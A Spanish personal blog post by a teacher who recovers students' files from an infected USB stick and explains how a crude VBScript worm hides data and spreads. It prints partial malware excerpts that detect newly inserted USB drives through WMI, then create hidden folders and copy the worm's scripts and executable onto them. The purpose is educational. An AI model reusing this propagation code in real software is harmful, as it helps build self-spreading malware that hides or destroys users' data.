¡Hola!. ¡Pasad! ¡pasad!. ¡Al fondo hay sitio!. ¡No se me amontonen!.
Resulta que hoy es domingo por la tarde. Entre otros proyectos, estoy montando un @OttoDIY (un sobrino de Zowi), he dejado medio finiquitada una consola basada en el uso de Raspberry Pi 3 Modelo B con emuladores para MAME, Megadrive, Super Nintendo e incluso Spectrum en mi TV utilizando los mandos de mi PLAYSTATION, y quiero dejar medio montada la nueva web de mi amigo y maestro Ángel Jiménez para su club de Artes Marciales.
Así y todo, hoy tenía pensado inaugurar lo que creo que será una de mis secciones favoritas de la web, MOMENTO CUÑADO. Sección de opinión. No preguntéis. Pienso escribir lo que me dé la gana ahí (como en el resto de la web, si te paras a pensarlo, pero, ¡eh!, ¡no me pagan por hacerte pensar!).
El caso es que hace un par de días tuve un encuentro en el instituto que se repite bastante a lo largo de cada curso y que me hizo cambiar de opinión. Un par de alumnas de 1º de Bachillerato (muy buenas chicas, simpáticas y buenas estudiantes, debo añadir) acudieron a mí con cara de susto. "¡Antonio!", me dijeron, terriblemente preocupadas, "¿nos puedes ayudar?, ¡tenemos que entregar un trabajo de Educación Física HOY y tenemos un virus en el pendrive que NOS HA BORRADO TODO!".
Es algo que sucede de modo recurrente, no sólo en centros educativos, sino en cualquier otro centro de trabajo. Un pendrive es, por definición, material electrónico de batalla, donde llevamos documentos y archivos que hemos grabado de modo TEMPORAL, de los que sabemos que DEBERÍAMOS TENER NO UNA, SINO VARIAS COPIAS EN DISTINTOS LUGARES Y EQUIPOS (depende de la importancia del archivo), pero que, ¡qué le vamos a hacer!, muchas veces están únicamente en ese fatídico USB.
En el apartado PUBLICACIONES de esta misma web tengo un artículo publicado hace algunos años que da ciertas indicaciones de cómo recuperar archivos y carpetas borrados por accidente, y que aún resulta bastante útil (siempre desde S.O. GNU/Linux, eso sí). Pero en este caso en particular, al analizar el pendrive en cuestión (y recuperar el dichoso trabajo, por supuesto, ¡no pensarás que iba a fallarle a las dos muchachas!, ¡ahora seré un héroe para ellas por lo menos los próximos dos días!), me encontré con un troyano TAN CHAPUCERO que quiero mostrároslo un poco, para que os hagáis una idea de cómo se infectan, transmiten y trabajan muchos de los virus y troyanos (MALWARE en general, a partir de ahora) a través de los pendrives.
¿Qué objetivo tiene el malware al infectar un equipo?.
Muchísimos. Tantos, y tan simples unas veces, y retorcidos, otras, que necesitaría un libro entero para discutir esta cuestión. Te pongo sólo algunos ejemplos:
- Incursión en discos duros y pendrives escaneando datos de todo tipo. En ocasiones, buscan contraseñas y datos sensibles para robar. Otras, simplemente, robar direcciones de correo electrónico, para enviar SPAM, por ejemplo.
- Aprovechar la conexión a Internet de nuestro ordenador para realizar tareas para el hacker que nos ha infectado, normalmente en segundo plano. Se dice entonces que nuestro ordenador es un ZOMBIE que trabaja dentro de una BOTNET. A veces, nuestro ordenador manda spam. Otras, forma parte de un ataque DDOS planeado previamente por el programador. Es la típica situación en la que te das cuenta de que tu equipo va mucho más lento, pero vas aguantando el tipo hasta que no puedes más y acabas formateando el ordenador.
- Uno de los mayores peligros estos últimos tiempos es la propagación del RAMSOMWARE: software malicioso que busca todos los archivos ofimáticos (extensiones *.doc, *.xls, *.odt, etc...) y LOS ENCRIPTA, dejándote un mensaje indicando un número de cuenta donde deberás ingresar cierta cantidad si quieres la contraseña para desencriptarlos.
¿Qué me encuentro al conectar el pendrive a mi equipo?
Bueno, en primer lugar, os recuerdo que no soy informático profesional, de modo QUE ES MUY POSIBLE QUE ALGO DE LO QUE DIGA NO SEA ACERTADO. Reclamaciones al maestro armero, os recuerdo. En segundo lugar, HAGO TODO ESTO DESDE UN EQUIPO CON SISTEMA OPERATIVO GNU/LINUX. No lo hagáis nunca desde un equipo con Windows, sobre todo si no tenéis un antivirus de fiar.
Bueno. Aquí tenéis lo que me encuentro en el pendrive, de un primer vistazo:
Al abrirlo en Windows, según me dicen mis alumnas, sólo hay una pantalla en blanco. Pero en Linux, podemos ver cuatro elementos:
- Un archivo de extensión.lnk (un acceso directo de toda la vida) con el nombre del PENDRIVE, que utilizará el virus para distinguir este pendrive de otros dispositivos USB ( o eso creo).
- Una carpeta con un sólo guión por nombre, "-". AHÍ ESTÁN TODOS LOS ARCHIVOS QUE HEMOS PERDIDO, pues es lo primero que hace el virus: recoger absolutamente todos los datos y moverlos a una carpeta oculta. En ocasiones, sustituyen cada archivo por uno de extensión .lnk con el mismo nombre, que da todavía más rabia.
- Una carpeta con el nombre "System Volume Information". En teoría, es un truco de las particiones NTFS para facilitar la restauración de datos perdidos. En mi caso, es también altamente sospechosa, y se borrará.
- Una carpeta con el nombre "Windows Services", que contiene dentro EL CORAZÓN DEL MALWARE: dos archivos denominados "installer.vbs" y "helper.vbs" y que están escritos en ¡VISUAL BASIC! ¡NOOOOOOOOOOO!
![]() |
![]() |
Breve análisis del código malicioso
Por un momento, me he planteado dejaros el código entero para que lo estudiárais por vuestra cuenta, pero no estoy seguro de hasta dónde estaría metiéndome en líos, así que... tendréis que conformaros con los pantallazos que os paso.
a. Infección
En un primer lugar, el código averigua en parte del árbol de archivos se encuentra y si hay más dispositivos USB encontrados:
//se declara el nombre de la carpeta donde nos encontraremos Target = "\WindowsServices" //¿Dónde estamos? strPath = WScript.ScriptFullName set objws = CreateObject("Scripting.FileSystemObject") Set objFile = objws.GetFile(strPath) strFolder = objws.GetParentFolderName(objFile) //comprobando instanciaciones USB Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") Set colEvents = objWMIService.ExecNotificationQuery ("SELECT * FROM __InstanceOperationEvent WITHIN 1 WHERE " & "TargetInstance ISA 'Win32_LogicalDisk'")
En segundo lugar, pasamos a instalarnos tanto en el equipo infectado como en otros USB que pueda haber conectados
If objEvent.TargetInstance.DriveType = 2 Then If objEvent.Path_.Class = "__InstanceCreationEvent" Then device = objEvent.TargetInstance.DeviceID devicename = objEvent.TargetInstance.VolumeName DestFolder = device & "\WindowsServices" DummyFolder = device & "\" & "_" if (not objws.folderexists(DestFolder)) then objws.CreateFolder DestFolder Set objDestFolder = objws.GetFolder(DestFolder) objDestFolder.Attributes = objDestFolder.Attributes + 39 end if //la rutina moveandhide, lógicamente, instalará y ocultará los archivos correspondientes Call moveandhide ("\helper.vbs") Call moveandhide ("\installer.vbs") Call moveandhide ("\movemenoreg.vbs") Call moveandhide ("\WindowsServices.exe")
Y esa es, a grandes rasgos, la forma de proceder de la mayor parte de los malware que pueden infectar un pendrive. Eso sí, de un modo mucho más eficiente y difícil de rastrear. De lo contrario, un garrulo como yo nunca podría haber accedido a estas líneas de código. Por supuesto, habría mucho más que decir acerca de este código, pero debo reconocer que mis conocimientos en Visual Basic no me permiten profundizar mucho más. Así que esto es todo por hoy, queridos niños. ¡Apa!. ¡Sed felices! ¡Seguid creando!